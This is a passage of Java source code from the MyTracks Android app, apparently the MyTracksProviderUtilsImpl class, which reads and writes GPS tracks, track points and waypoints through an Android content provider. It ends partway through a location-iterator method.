* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.content;
import static com.google.android.apps.mytracks.lib.MyTracksLibConstants.TAG;
import com.google.android.apps.mytracks.stats.TripStatistics;
import com.google.protobuf.InvalidProtocolBufferException;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.database.Cursor;
import android.location.Location;
import android.net.Uri;
import android.util.Log;
import java.util.ArrayList;
import java.util.List;
import java.util.NoSuchElementException;
/**
* Helper class providing easy access to locations and tracks in the
* MyTracksProvider. All static members.
*
* @author Leif Hendrik Wilden
*/
public class MyTracksProviderUtilsImpl implements MyTracksProviderUtils {
private final ContentResolver contentResolver;
private int defaultCursorBatchSize = 2000;
public MyTracksProviderUtilsImpl(ContentResolver contentResolver) {
this.contentResolver = contentResolver;
}
/**
* Creates the ContentValues for a given location object.
*
* @param location a given location
* @param trackId the id of the track it belongs to
* @return a filled in ContentValues object
*/
private static ContentValues createContentValues(
Location location, long trackId) {
ContentValues values = new ContentValues();
values.put(TrackPointsColumns.TRACKID, trackId);
values.put(TrackPointsColumns.LATITUDE,
(int) (location.getLatitude() * 1E6));
values.put(TrackPointsColumns.LONGITUDE,
(int) (location.getLongitude() * 1E6));
// This is an ugly hack for Samsung phones that don't properly populate the
// time field.
values.put(TrackPointsColumns.TIME,
(location.getTime() == 0)
? System.currentTimeMillis()
: location.getTime());
if (location.hasAltitude()) {
values.put(TrackPointsColumns.ALTITUDE, location.getAltitude());
}
if (location.hasBearing()) {
values.put(TrackPointsColumns.BEARING, location.getBearing());
}
if (location.hasAccuracy()) {
values.put(TrackPointsColumns.ACCURACY, location.getAccuracy());
}
if (location.hasSpeed()) {
values.put(TrackPointsColumns.SPEED, location.getSpeed());
}
if (location instanceof MyTracksLocation) {
MyTracksLocation mtLocation = (MyTracksLocation) location;
if (mtLocation.getSensorDataSet() != null) {
values.put(TrackPointsColumns.SENSOR, mtLocation.getSensorDataSet().toByteArray());
}
}
return values;
}
@Override
public ContentValues createContentValues(Track track) {
ContentValues values = new ContentValues();
TripStatistics stats = track.getStatistics();
// Values id < 0 indicate no id is available:
if (track.getId() >= 0) {
values.put(TracksColumns._ID, track.getId());
}
values.put(TracksColumns.NAME, track.getName());
values.put(TracksColumns.DESCRIPTION, track.getDescription());
values.put(TracksColumns.MAPID, track.getMapId());
values.put(TracksColumns.TABLEID, track.getTableId());
values.put(TracksColumns.CATEGORY, track.getCategory());
values.put(TracksColumns.NUMPOINTS, track.getNumberOfPoints());
values.put(TracksColumns.STARTID, track.getStartId());
values.put(TracksColumns.STARTTIME, stats.getStartTime());
values.put(TracksColumns.STOPTIME, stats.getStopTime());
values.put(TracksColumns.STOPID, track.getStopId());
values.put(TracksColumns.TOTALDISTANCE, stats.getTotalDistance());
values.put(TracksColumns.TOTALTIME, stats.getTotalTime());
values.put(TracksColumns.MOVINGTIME, stats.getMovingTime());
values.put(TracksColumns.MAXLAT, stats.getTop());
values.put(TracksColumns.MINLAT, stats.getBottom());
values.put(TracksColumns.MAXLON, stats.getRight());
values.put(TracksColumns.MINLON, stats.getLeft());
values.put(TracksColumns.AVGSPEED, stats.getAverageSpeed());
values.put(TracksColumns.AVGMOVINGSPEED, stats.getAverageMovingSpeed());
values.put(TracksColumns.MAXSPEED, stats.getMaxSpeed());
values.put(TracksColumns.MINELEVATION, stats.getMinElevation());
values.put(TracksColumns.MAXELEVATION, stats.getMaxElevation());
values.put(TracksColumns.ELEVATIONGAIN, stats.getTotalElevationGain());
values.put(TracksColumns.MINGRADE, stats.getMinGrade());
values.put(TracksColumns.MAXGRADE, stats.getMaxGrade());
return values;
}
private static ContentValues createContentValues(Waypoint waypoint) {
ContentValues values = new ContentValues();
// Values id < 0 indicate no id is available:
if (waypoint.getId() >= 0) {
values.put(WaypointsColumns._ID, waypoint.getId());
}
values.put(WaypointsColumns.NAME, waypoint.getName());
values.put(WaypointsColumns.DESCRIPTION, waypoint.getDescription());
values.put(WaypointsColumns.CATEGORY, waypoint.getCategory());
values.put(WaypointsColumns.ICON, waypoint.getIcon());
values.put(WaypointsColumns.TRACKID, waypoint.getTrackId());
values.put(WaypointsColumns.TYPE, waypoint.getType());
values.put(WaypointsColumns.LENGTH, waypoint.getLength());
values.put(WaypointsColumns.DURATION, waypoint.getDuration());
values.put(WaypointsColumns.STARTID, waypoint.getStartId());
values.put(WaypointsColumns.STOPID, waypoint.getStopId());
TripStatistics stats = waypoint.getStatistics();
if (stats != null) {
values.put(WaypointsColumns.TOTALDISTANCE, stats.getTotalDistance());
values.put(WaypointsColumns.TOTALTIME, stats.getTotalTime());
values.put(WaypointsColumns.MOVINGTIME, stats.getMovingTime());
values.put(WaypointsColumns.AVGSPEED, stats.getAverageSpeed());
values.put(WaypointsColumns.AVGMOVINGSPEED, stats.getAverageMovingSpeed());
values.put(WaypointsColumns.MAXSPEED, stats.getMaxSpeed());
values.put(WaypointsColumns.MINELEVATION, stats.getMinElevation());
values.put(WaypointsColumns.MAXELEVATION, stats.getMaxElevation());
values.put(WaypointsColumns.ELEVATIONGAIN, stats.getTotalElevationGain());
values.put(WaypointsColumns.MINGRADE, stats.getMinGrade());
values.put(WaypointsColumns.MAXGRADE, stats.getMaxGrade());
values.put(WaypointsColumns.STARTTIME, stats.getStartTime());
}
Location location = waypoint.getLocation();
if (location != null) {
values.put(WaypointsColumns.LATITUDE,
(int) (location.getLatitude() * 1E6));
values.put(WaypointsColumns.LONGITUDE,
(int) (location.getLongitude() * 1E6));
values.put(WaypointsColumns.TIME, location.getTime());
if (location.hasAltitude()) {
values.put(WaypointsColumns.ALTITUDE, location.getAltitude());
}
if (location.hasBearing()) {
values.put(WaypointsColumns.BEARING, location.getBearing());
}
if (location.hasAccuracy()) {
values.put(WaypointsColumns.ACCURACY, location.getAccuracy());
}
if (location.hasSpeed()) {
values.put(WaypointsColumns.SPEED, location.getSpeed());
}
}
return values;
}
@Override
public Location createLocation(Cursor cursor) {
Location location = new MyTracksLocation("");
fillLocation(cursor, location);
return location;
}
/**
* A cache of track column indices.
*/
private static class CachedTrackColumnIndices {
public final int idxId;
public final int idxLatitude;
public final int idxLongitude;
public final int idxAltitude;
public final int idxTime;
public final int idxBearing;
public final int idxAccuracy;
public final int idxSpeed;
public final int idxSensor;
public CachedTrackColumnIndices(Cursor cursor) {
idxId = cursor.getColumnIndex(TrackPointsColumns._ID);
idxLatitude = cursor.getColumnIndexOrThrow(TrackPointsColumns.LATITUDE);
idxLongitude = cursor.getColumnIndexOrThrow(TrackPointsColumns.LONGITUDE);
idxAltitude = cursor.getColumnIndexOrThrow(TrackPointsColumns.ALTITUDE);
idxTime = cursor.getColumnIndexOrThrow(TrackPointsColumns.TIME);
idxBearing = cursor.getColumnIndexOrThrow(TrackPointsColumns.BEARING);
idxAccuracy = cursor.getColumnIndexOrThrow(TrackPointsColumns.ACCURACY);
idxSpeed = cursor.getColumnIndexOrThrow(TrackPointsColumns.SPEED);
idxSensor = cursor.getColumnIndexOrThrow(TrackPointsColumns.SENSOR);
}
}
private void fillLocation(Cursor cursor, CachedTrackColumnIndices columnIndices,
Location location) {
location.reset();
if (!cursor.isNull(columnIndices.idxLatitude)) {
location.setLatitude(1. * cursor.getInt(columnIndices.idxLatitude) / 1E6);
}
if (!cursor.isNull(columnIndices.idxLongitude)) {
location.setLongitude(1. * cursor.getInt(columnIndices.idxLongitude) / 1E6);
}
if (!cursor.isNull(columnIndices.idxAltitude)) {
location.setAltitude(cursor.getFloat(columnIndices.idxAltitude));
}
if (!cursor.isNull(columnIndices.idxTime)) {
location.setTime(cursor.getLong(columnIndices.idxTime));
}
if (!cursor.isNull(columnIndices.idxBearing)) {
location.setBearing(cursor.getFloat(columnIndices.idxBearing));
}
if (!cursor.isNull(columnIndices.idxSpeed)) {
location.setSpeed(cursor.getFloat(columnIndices.idxSpeed));
}
if (!cursor.isNull(columnIndices.idxAccuracy)) {
location.setAccuracy(cursor.getFloat(columnIndices.idxAccuracy));
}
if (location instanceof MyTracksLocation &&
!cursor.isNull(columnIndices.idxSensor)) {
MyTracksLocation mtLocation = (MyTracksLocation) location;
// TODO get the right buffer.
Sensor.SensorDataSet sensorData;
try {
sensorData = Sensor.SensorDataSet.parseFrom(cursor.getBlob(columnIndices.idxSensor));
mtLocation.setSensorData(sensorData);
} catch (InvalidProtocolBufferException e) {
Log.w(TAG, "Failed to parse sensor data.", e);
}
}
}
@Override
public void fillLocation(Cursor cursor, Location location) {
CachedTrackColumnIndices columnIndicies = new CachedTrackColumnIndices(cursor);
fillLocation(cursor, columnIndicies, location);
}
@Override
public Track createTrack(Cursor cursor) {
int idxId = cursor.getColumnIndexOrThrow(TracksColumns._ID);
int idxName = cursor.getColumnIndexOrThrow(TracksColumns.NAME);
int idxDescription =
cursor.getColumnIndexOrThrow(TracksColumns.DESCRIPTION);
int idxMapId = cursor.getColumnIndexOrThrow(TracksColumns.MAPID);
int idxTableId = cursor.getColumnIndexOrThrow(TracksColumns.TABLEID);
int idxCategory = cursor.getColumnIndexOrThrow(TracksColumns.CATEGORY);
int idxStartId = cursor.getColumnIndexOrThrow(TracksColumns.STARTID);
int idxStartTime = cursor.getColumnIndexOrThrow(TracksColumns.STARTTIME);
int idxStopTime = cursor.getColumnIndexOrThrow(TracksColumns.STOPTIME);
int idxStopId = cursor.getColumnIndexOrThrow(TracksColumns.STOPID);
int idxNumPoints = cursor.getColumnIndexOrThrow(TracksColumns.NUMPOINTS);
int idxMaxlat = cursor.getColumnIndexOrThrow(TracksColumns.MAXLAT);
int idxMinlat = cursor.getColumnIndexOrThrow(TracksColumns.MINLAT);
int idxMaxlon = cursor.getColumnIndexOrThrow(TracksColumns.MAXLON);
int idxMinlon = cursor.getColumnIndexOrThrow(TracksColumns.MINLON);
int idxTotalDistance =
cursor.getColumnIndexOrThrow(TracksColumns.TOTALDISTANCE);
int idxTotalTime = cursor.getColumnIndexOrThrow(TracksColumns.TOTALTIME);
int idxMovingTime = cursor.getColumnIndexOrThrow(TracksColumns.MOVINGTIME);
int idxMaxSpeed = cursor.getColumnIndexOrThrow(TracksColumns.MAXSPEED);
int idxMinElevation =
cursor.getColumnIndexOrThrow(TracksColumns.MINELEVATION);
int idxMaxElevation =
cursor.getColumnIndexOrThrow(TracksColumns.MAXELEVATION);
int idxElevationGain =
cursor.getColumnIndexOrThrow(TracksColumns.ELEVATIONGAIN);
int idxMinGrade = cursor.getColumnIndexOrThrow(TracksColumns.MINGRADE);
int idxMaxGrade = cursor.getColumnIndexOrThrow(TracksColumns.MAXGRADE);
Track track = new Track();
TripStatistics stats = track.getStatistics();
if (!cursor.isNull(idxId)) {
track.setId(cursor.getLong(idxId));
}
if (!cursor.isNull(idxName)) {
track.setName(cursor.getString(idxName));
}
if (!cursor.isNull(idxDescription)) {
track.setDescription(cursor.getString(idxDescription));
}
if (!cursor.isNull(idxMapId)) {
track.setMapId(cursor.getString(idxMapId));
}
if (!cursor.isNull(idxTableId)) {
track.setTableId(cursor.getString(idxTableId));
}
if (!cursor.isNull(idxCategory)) {
track.setCategory(cursor.getString(idxCategory));
}
if (!cursor.isNull(idxStartId)) {
track.setStartId(cursor.getInt(idxStartId));
}
if (!cursor.isNull(idxStartTime)) {
stats.setStartTime(cursor.getLong(idxStartTime));
}
if (!cursor.isNull(idxStopTime)) {
stats.setStopTime(cursor.getLong(idxStopTime));
}
if (!cursor.isNull(idxStopId)) {
track.setStopId(cursor.getInt(idxStopId));
}
if (!cursor.isNull(idxNumPoints)) {
track.setNumberOfPoints(cursor.getInt(idxNumPoints));
}
if (!cursor.isNull(idxTotalDistance)) {
stats.setTotalDistance(cursor.getFloat(idxTotalDistance));
}
if (!cursor.isNull(idxTotalTime)) {
stats.setTotalTime(cursor.getLong(idxTotalTime));
}
if (!cursor.isNull(idxMovingTime)) {
stats.setMovingTime(cursor.getLong(idxMovingTime));
}
if (!cursor.isNull(idxMaxlat)
&& !cursor.isNull(idxMinlat)
&& !cursor.isNull(idxMaxlon)
&& !cursor.isNull(idxMinlon)) {
int top = cursor.getInt(idxMaxlat);
int bottom = cursor.getInt(idxMinlat);
int right = cursor.getInt(idxMaxlon);
int left = cursor.getInt(idxMinlon);
stats.setBounds(left, top, right, bottom);
}
if (!cursor.isNull(idxMaxSpeed)) {
stats.setMaxSpeed(cursor.getFloat(idxMaxSpeed));
}
if (!cursor.isNull(idxMinElevation)) {
stats.setMinElevation(cursor.getFloat(idxMinElevation));
}
if (!cursor.isNull(idxMaxElevation)) {
stats.setMaxElevation(cursor.getFloat(idxMaxElevation));
}
if (!cursor.isNull(idxElevationGain)) {
stats.setTotalElevationGain(cursor.getFloat(idxElevationGain));
}
if (!cursor.isNull(idxMinGrade)) {
stats.setMinGrade(cursor.getFloat(idxMinGrade));
}
if (!cursor.isNull(idxMaxGrade)) {
stats.setMaxGrade(cursor.getFloat(idxMaxGrade));
}
return track;
}
@Override
public Waypoint createWaypoint(Cursor cursor) {
int idxId = cursor.getColumnIndexOrThrow(WaypointsColumns._ID);
int idxName = cursor.getColumnIndexOrThrow(WaypointsColumns.NAME);
int idxDescription =
cursor.getColumnIndexOrThrow(WaypointsColumns.DESCRIPTION);
int idxCategory = cursor.getColumnIndexOrThrow(WaypointsColumns.CATEGORY);
int idxIcon = cursor.getColumnIndexOrThrow(WaypointsColumns.ICON);
int idxTrackId = cursor.getColumnIndexOrThrow(WaypointsColumns.TRACKID);
int idxType = cursor.getColumnIndexOrThrow(WaypointsColumns.TYPE);
int idxLength = cursor.getColumnIndexOrThrow(WaypointsColumns.LENGTH);
int idxDuration = cursor.getColumnIndexOrThrow(WaypointsColumns.DURATION);
int idxStartTime = cursor.getColumnIndexOrThrow(WaypointsColumns.STARTTIME);
int idxStartId = cursor.getColumnIndexOrThrow(WaypointsColumns.STARTID);
int idxStopId = cursor.getColumnIndexOrThrow(WaypointsColumns.STOPID);
int idxTotalDistance =
cursor.getColumnIndexOrThrow(WaypointsColumns.TOTALDISTANCE);
int idxTotalTime = cursor.getColumnIndexOrThrow(WaypointsColumns.TOTALTIME);
int idxMovingTime =
cursor.getColumnIndexOrThrow(WaypointsColumns.MOVINGTIME);
int idxMaxSpeed = cursor.getColumnIndexOrThrow(WaypointsColumns.MAXSPEED);
int idxMinElevation =
cursor.getColumnIndexOrThrow(WaypointsColumns.MINELEVATION);
int idxMaxElevation =
cursor.getColumnIndexOrThrow(WaypointsColumns.MAXELEVATION);
int idxElevationGain =
cursor.getColumnIndexOrThrow(WaypointsColumns.ELEVATIONGAIN);
int idxMinGrade = cursor.getColumnIndexOrThrow(WaypointsColumns.MINGRADE);
int idxMaxGrade = cursor.getColumnIndexOrThrow(WaypointsColumns.MAXGRADE);
int idxLatitude = cursor.getColumnIndexOrThrow(WaypointsColumns.LATITUDE);
int idxLongitude = cursor.getColumnIndexOrThrow(WaypointsColumns.LONGITUDE);
int idxAltitude = cursor.getColumnIndexOrThrow(WaypointsColumns.ALTITUDE);
int idxTime = cursor.getColumnIndexOrThrow(WaypointsColumns.TIME);
int idxBearing = cursor.getColumnIndexOrThrow(WaypointsColumns.BEARING);
int idxAccuracy = cursor.getColumnIndexOrThrow(WaypointsColumns.ACCURACY);
int idxSpeed = cursor.getColumnIndexOrThrow(WaypointsColumns.SPEED);
Waypoint waypoint = new Waypoint();
if (!cursor.isNull(idxId)) {
waypoint.setId(cursor.getLong(idxId));
}
if (!cursor.isNull(idxName)) {
waypoint.setName(cursor.getString(idxName));
}
if (!cursor.isNull(idxDescription)) {
waypoint.setDescription(cursor.getString(idxDescription));
}
if (!cursor.isNull(idxCategory)) {
waypoint.setCategory(cursor.getString(idxCategory));
}
if (!cursor.isNull(idxIcon)) {
waypoint.setIcon(cursor.getString(idxIcon));
}
if (!cursor.isNull(idxTrackId)) {
waypoint.setTrackId(cursor.getLong(idxTrackId));
}
if (!cursor.isNull(idxType)) {
waypoint.setType(cursor.getInt(idxType));
}
if (!cursor.isNull(idxLength)) {
waypoint.setLength(cursor.getDouble(idxLength));
}
if (!cursor.isNull(idxDuration)) {
waypoint.setDuration(cursor.getLong(idxDuration));
}
if (!cursor.isNull(idxStartId)) {
waypoint.setStartId(cursor.getLong(idxStartId));
}
if (!cursor.isNull(idxStopId)) {
waypoint.setStopId(cursor.getLong(idxStopId));
}
TripStatistics stats = new TripStatistics();
boolean hasStats = false;
if (!cursor.isNull(idxStartTime)) {
stats.setStartTime(cursor.getLong(idxStartTime));
hasStats = true;
}
if (!cursor.isNull(idxTotalDistance)) {
stats.setTotalDistance(cursor.getFloat(idxTotalDistance));
hasStats = true;
}
if (!cursor.isNull(idxTotalTime)) {
stats.setTotalTime(cursor.getLong(idxTotalTime));
hasStats = true;
}
if (!cursor.isNull(idxMovingTime)) {
stats.setMovingTime(cursor.getLong(idxMovingTime));
hasStats = true;
}
if (!cursor.isNull(idxMaxSpeed)) {
stats.setMaxSpeed(cursor.getFloat(idxMaxSpeed));
hasStats = true;
}
if (!cursor.isNull(idxMinElevation)) {
stats.setMinElevation(cursor.getFloat(idxMinElevation));
hasStats = true;
}
if (!cursor.isNull(idxMaxElevation)) {
stats.setMaxElevation(cursor.getFloat(idxMaxElevation));
hasStats = true;
}
if (!cursor.isNull(idxElevationGain)) {
stats.setTotalElevationGain(cursor.getFloat(idxElevationGain));
hasStats = true;
}
if (!cursor.isNull(idxMinGrade)) {
stats.setMinGrade(cursor.getFloat(idxMinGrade));
hasStats = true;
}
if (!cursor.isNull(idxMaxGrade)) {
stats.setMaxGrade(cursor.getFloat(idxMaxGrade));
hasStats = true;
}
if (hasStats) {
waypoint.setStatistics(stats);
}
Location location = new Location("");
if (!cursor.isNull(idxLatitude) && !cursor.isNull(idxLongitude)) {
location.setLatitude(1. * cursor.getInt(idxLatitude) / 1E6);
location.setLongitude(1. * cursor.getInt(idxLongitude) / 1E6);
}
if (!cursor.isNull(idxAltitude)) {
location.setAltitude(cursor.getFloat(idxAltitude));
}
if (!cursor.isNull(idxTime)) {
location.setTime(cursor.getLong(idxTime));
}
if (!cursor.isNull(idxBearing)) {
location.setBearing(cursor.getFloat(idxBearing));
}
if (!cursor.isNull(idxSpeed)) {
location.setSpeed(cursor.getFloat(idxSpeed));
}
if (!cursor.isNull(idxAccuracy)) {
location.setAccuracy(cursor.getFloat(idxAccuracy));
}
waypoint.setLocation(location);
return waypoint;
}
@Override
public void deleteAllTracks() {
contentResolver.delete(TracksColumns.CONTENT_URI, null, null);
contentResolver.delete(TrackPointsColumns.CONTENT_URI,
null, null);
contentResolver.delete(WaypointsColumns.CONTENT_URI, null, null);
}
@Override
public void deleteTrack(long trackId) {
Track track = getTrack(trackId);
if (track != null) {
contentResolver.delete(TrackPointsColumns.CONTENT_URI,
"_id>=" + track.getStartId() + " AND _id<=" + track.getStopId(),
null);
}
contentResolver.delete(WaypointsColumns.CONTENT_URI,
WaypointsColumns.TRACKID + "=" + trackId, null);
contentResolver.delete(
TracksColumns.CONTENT_URI, "_id=" + trackId, null);
}
@Override
public void deleteWaypoint(long waypointId,
DescriptionGenerator descriptionGenerator) {
final Waypoint deletedWaypoint = getWaypoint(waypointId);
if (deletedWaypoint != null
&& deletedWaypoint.getType() == Waypoint.TYPE_STATISTICS) {
final Waypoint nextWaypoint =
getNextStatisticsWaypointAfter(deletedWaypoint);
if (nextWaypoint != null) {
Log.d(TAG, "Correcting marker " + nextWaypoint.getId()
+ " after deleted marker " + deletedWaypoint.getId());
nextWaypoint.getStatistics().merge(deletedWaypoint.getStatistics());
nextWaypoint.setDescription(
descriptionGenerator.generateWaypointDescription(nextWaypoint));
if (!updateWaypoint(nextWaypoint)) {
Log.w(TAG, "Update of marker was unsuccessful.");
}
} else {
Log.d(TAG, "No statistics marker after the deleted one was found.");
}
}
contentResolver.delete(
WaypointsColumns.CONTENT_URI, "_id=" + waypointId, null);
}
@Override
public Waypoint getNextStatisticsWaypointAfter(Waypoint waypoint) {
final String selection = WaypointsColumns._ID + ">" + waypoint.getId()
+ " AND " + WaypointsColumns.TRACKID + "=" + waypoint.getTrackId()
+ " AND " + WaypointsColumns.TYPE + "=" + Waypoint.TYPE_STATISTICS;
final String sortOrder = WaypointsColumns._ID + " LIMIT 1";
Cursor cursor = null;
try {
cursor = contentResolver.query(
WaypointsColumns.CONTENT_URI,
null /*projection*/,
selection,
null /*selectionArgs*/,
sortOrder);
if (cursor != null && cursor.moveToFirst()) {
return createWaypoint(cursor);
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught unexpected exception.", e);
} finally {
if (cursor != null) {
cursor.close();
}
}
return null;
}
@Override
public boolean updateWaypoint(Waypoint waypoint) {
try {
final int rows = contentResolver.update(
WaypointsColumns.CONTENT_URI,
createContentValues(waypoint),
"_id=" + waypoint.getId(),
null /*selectionArgs*/);
return rows == 1;
} catch (RuntimeException e) {
Log.e(TAG, "Caught unexpected exception.", e);
}
return false;
}
/**
* Finds a locations from the provider by the given selection.
*
* @param select a selection argument that identifies a unique location
* @return the fist location matching, or null if not found
*/
private Location findLocationBy(String select) {
Cursor cursor = null;
try {
cursor = contentResolver.query(
TrackPointsColumns.CONTENT_URI, null, select, null, null);
if (cursor != null && cursor.moveToNext()) {
return createLocation(cursor);
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught an unexpeceted exception.", e);
} finally {
if (cursor != null) {
cursor.close();
}
}
return null;
}
/**
* Finds a track from the provider by the given selection.
*
* @param select a selection argument that identifies a unique track
* @return the first track matching, or null if not found
*/
private Track findTrackBy(String select) {
Cursor cursor = null;
try {
cursor = contentResolver.query(
TracksColumns.CONTENT_URI, null, select, null, null);
if (cursor != null && cursor.moveToNext()) {
return createTrack(cursor);
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught unexpected exception.", e);
} finally {
if (cursor != null) {
cursor.close();
}
}
return null;
}
@Override
public Location getLastLocation() {
return findLocationBy("_id=(select max(_id) from trackpoints)");
}
@Override
public Waypoint getFirstWaypoint(long trackId) {
if (trackId < 0) {
return null;
}
Cursor cursor = contentResolver.query(
WaypointsColumns.CONTENT_URI,
null /*projection*/,
"trackid=" + trackId,
null /*selectionArgs*/,
"_id LIMIT 1");
if (cursor != null) {
try {
if (cursor.moveToFirst()) {
return createWaypoint(cursor);
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught an unexpected exception.", e);
} finally {
cursor.close();
}
}
return null;
}
@Override
public Waypoint getWaypoint(long waypointId) {
if (waypointId < 0) {
return null;
}
Cursor cursor = contentResolver.query(
WaypointsColumns.CONTENT_URI,
null /*projection*/,
"_id=" + waypointId,
null /*selectionArgs*/,
null /*sortOrder*/);
if (cursor != null) {
try {
if (cursor.moveToFirst()) {
return createWaypoint(cursor);
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught an unexpected exception.", e);
} finally {
cursor.close();
}
}
return null;
}
@Override
public long getLastLocationId(long trackId) {
if (trackId < 0) {
return -1;
}
final String[] projection = {"_id"};
Cursor cursor = contentResolver.query(
TrackPointsColumns.CONTENT_URI,
projection,
"_id=(select max(_id) from trackpoints WHERE trackid=" + trackId + ")",
null /*selectionArgs*/,
null /*sortOrder*/);
if (cursor != null) {
try {
if (cursor.moveToFirst()) {
return cursor.getLong(
cursor.getColumnIndexOrThrow(TrackPointsColumns._ID));
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught an unexpected exception.", e);
} finally {
cursor.close();
}
}
return -1;
}
@Override
public long getFirstWaypointId(long trackId) {
if (trackId < 0) {
return -1;
}
final String[] projection = {"_id"};
Cursor cursor = contentResolver.query(
WaypointsColumns.CONTENT_URI,
projection,
"trackid=" + trackId,
null /*selectionArgs*/,
"_id LIMIT 1" /*sortOrder*/);
if (cursor != null) {
try {
if (cursor.moveToFirst()) {
return cursor.getLong(
cursor.getColumnIndexOrThrow(WaypointsColumns._ID));
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught an unexpected exception.", e);
} finally {
cursor.close();
}
}
return -1;
}
@Override
public long getLastWaypointId(long trackId) {
if (trackId < 0) {
return -1;
}
final String[] projection = {"_id"};
Cursor cursor = contentResolver.query(
WaypointsColumns.CONTENT_URI,
projection,
WaypointsColumns.TRACKID + "=" + trackId,
null /*selectionArgs*/,
"_id DESC LIMIT 1" /*sortOrder*/);
if (cursor != null) {
try {
if (cursor.moveToFirst()) {
return cursor.getLong(
cursor.getColumnIndexOrThrow(WaypointsColumns._ID));
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught an unexpected exception.", e);
} finally {
cursor.close();
}
}
return -1;
}
@Override
public Track getLastTrack() {
Cursor cursor = null;
try {
cursor = contentResolver.query(
TracksColumns.CONTENT_URI, null, "_id=(select max(_id) from tracks)",
null, null);
if (cursor != null && cursor.moveToNext()) {
return createTrack(cursor);
}
} catch (RuntimeException e) {
Log.w(TAG, "Caught an unexpected exception.", e);
} finally {
if (cursor != null) {
cursor.close();
}
}
return null;
}
@Override
public long getLastTrackId() {
String[] proj = { TracksColumns._ID };
Cursor cursor = contentResolver.query(
TracksColumns.CONTENT_URI, proj, "_id=(select max(_id) from tracks)",
null, null);
if (cursor != null) {
try {
if (cursor.moveToFirst()) {
return cursor.getLong(
cursor.getColumnIndexOrThrow(TracksColumns._ID));
}
} finally {
cursor.close();
}
}
return -1;
}
@Override
public Location getLocation(long id) {
if (id < 0) {
return null;
}
String selection = TrackPointsColumns._ID + "=" + id;
return findLocationBy(selection);
}
@Override
public Cursor getLocationsCursor(long trackId, long minTrackPointId,
int maxLocations, boolean descending) {
if (trackId < 0) {
return null;
}
String selection;
String[] selectionArgs;
if (minTrackPointId >= 0) {
String comparison = descending ? "<=" : ">=";
selection = TrackPointsColumns.TRACKID + "=? AND " + TrackPointsColumns._ID + comparison
+ "?";
selectionArgs = new String[] { String.valueOf(trackId), String.valueOf(minTrackPointId) };
} else {
selection = TrackPointsColumns.TRACKID + "=?";
selectionArgs = new String[] { String.valueOf(trackId) };
}
String sortOrder = "_id " + (descending ? "DESC" : "ASC");
if (maxLocations > 0) {
sortOrder += " LIMIT " + maxLocations;
}
return contentResolver.query(TrackPointsColumns.CONTENT_URI, null, selection, selectionArgs, sortOrder);
}
@Override
public Cursor getWaypointsCursor(long trackId, long minWaypointId,
int maxWaypoints) {
if (trackId < 0) {
return null;
}
String selection;
String[] selectionArgs;
if (minWaypointId > 0) {
selection = String.format("%s = ? AND %s >= ?",
WaypointsColumns.TRACKID,
WaypointsColumns._ID);
selectionArgs = new String[] {
Long.toString(trackId),
Long.toString(minWaypointId)
};
} else {
selection = String.format("%s=?", WaypointsColumns.TRACKID);
selectionArgs = new String[] { Long.toString(trackId) };
}
return getWaypointsCursor(selection, selectionArgs, null, maxWaypoints);
}
@Override
public Cursor getWaypointsCursor(String selection, String[] selectionArgs, String order, int maxWaypoints) {
if (order == null) {
order = "_id ASC";
}
if (maxWaypoints > 0) {
order += " LIMIT " + maxWaypoints;
}
return contentResolver.query(
WaypointsColumns.CONTENT_URI, null, selection, selectionArgs, order);
}
@Override
public Track getTrack(long id) {
if (id < 0) {
return null;
}
String select = TracksColumns._ID + "=" + id;
return findTrackBy(select);
}
@Override
public List<Track> getAllTracks() {
Cursor cursor = getTracksCursor(null, null, TracksColumns._ID);
ArrayList<Track> tracks = new ArrayList<Track>();
if (cursor != null) {
tracks.ensureCapacity(cursor.getCount());
if (cursor.moveToFirst()) {
do {
tracks.add(createTrack(cursor));
} while(cursor.moveToNext());
}
cursor.close();
}
return tracks;
}
@Override
public Cursor getTracksCursor(String selection, String[] selectionArgs, String order) {
return contentResolver.query(
TracksColumns.CONTENT_URI, null, selection, selectionArgs, order);
}
@Override
public Uri insertTrack(Track track) {
Log.d(TAG, "MyTracksProviderUtilsImpl.insertTrack");
return contentResolver.insert(TracksColumns.CONTENT_URI,
createContentValues(track));
}
@Override
public Uri insertTrackPoint(Location location, long trackId) {
Log.d(TAG, "MyTracksProviderUtilsImpl.insertTrackPoint");
return contentResolver.insert(TrackPointsColumns.CONTENT_URI,
createContentValues(location, trackId));
}
@Override
public int bulkInsertTrackPoints(Location[] locations, int length, long trackId) {
if (length == -1) { length = locations.length; }
ContentValues[] values = new ContentValues[length];
for (int i = 0; i < length; i++) {
values[i] = createContentValues(locations[i], trackId);
}
return contentResolver.bulkInsert(TrackPointsColumns.CONTENT_URI, values);
}
@Override
public Uri insertWaypoint(Waypoint waypoint) {
Log.d(TAG, "MyTracksProviderUtilsImpl.insertWaypoint");
waypoint.setId(-1);
return contentResolver.insert(WaypointsColumns.CONTENT_URI,
createContentValues(waypoint));
}
@Override
public boolean trackExists(long id) {
if (id < 0) {
return false;
}
Cursor cursor = null;
try {
final String[] projection = { TracksColumns._ID };
cursor = contentResolver.query(
TracksColumns.CONTENT_URI,
projection,
TracksColumns._ID + "=" + id/*selection*/,
null/*selectionArgs*/,
null/*sortOrder*/);
if (cursor != null && cursor.moveToNext()) {
return true;
}
} finally {
if (cursor != null) {
cursor.close();
}
}
return false;
}
@Override
public void updateTrack(Track track) {
Log.d(TAG, "MyTracksProviderUtilsImpl.updateTrack");
contentResolver.update(TracksColumns.CONTENT_URI,
createContentValues(track), "_id=" + track.getId(), null);
}
@Override
public LocationIterator getLocationIterator(final long trackId, final long startTrackPointId,
final boolean descending, final LocationFactory locationFactory) {
if (locationFactory == null) {
throw new IllegalArgumentException("Expecting non-null locationFactory");
}
return new LocationIterator() {
private long lastTrackPointId = startTrackPointId;
private Cursor cursor = getCursor(startTrackPointId);
private final CachedTrackColumnIndices columnIndices = cursor != null ?
new CachedTrackColumnIndices(cursor) : null;
private Cursor getCursor(long trackPointId) {
return getLocationsCursor(trackId, trackPointId, defaultCursorBatchSize, descending);
}
private boolean advanceCursorToNextBatch() {
